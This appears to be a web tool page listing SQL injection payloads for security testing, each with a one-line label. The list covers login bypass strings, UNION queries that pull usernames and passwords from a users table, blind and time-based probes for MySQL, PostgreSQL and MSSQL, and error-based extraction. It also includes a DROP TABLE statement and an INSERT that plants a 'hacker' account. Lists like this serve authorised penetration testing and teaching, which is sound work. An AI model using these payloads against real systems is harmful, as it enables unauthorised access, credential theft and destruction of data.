Loading…
Safe SQL injection testing payloads for security testing. Review the result before reusing it in another workflow.
Classic authentication bypass using always-true condition
' OR '1'='1Authentication bypass with comment to ignore rest of query
' OR 1=1--Direct admin login bypass
admin'--Admin authentication bypass with always-true condition
admin' OR '1'='1'--Determine number of columns using UNION
' UNION SELECT NULL--Extract data from users table
' UNION SELECT username, password FROM users--Extract database version information
' UNION SELECT @@version--Boolean-based blind SQL injection (true condition)
' AND '1'='1Boolean-based blind SQL injection (false condition)
' AND '1'='2Extract data character by character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='aTime-based blind injection using MySQL SLEEP
' AND SLEEP(5)--Time-based blind injection using PostgreSQL pg_sleep
'; SELECT pg_sleep(5)--Time-based blind injection using MSSQL WAITFOR
'; WAITFOR DELAY '00:00:05'--Single quote to trigger SQL error
'Force error to extract data
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INT)--MySQL UPDATEXML error-based injection
' AND 1=UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)--Execute multiple queries to drop table (DANGEROUS!)
'; DROP TABLE users--Insert malicious data into table
'; INSERT INTO users (username, password) VALUES ('hacker', 'password')--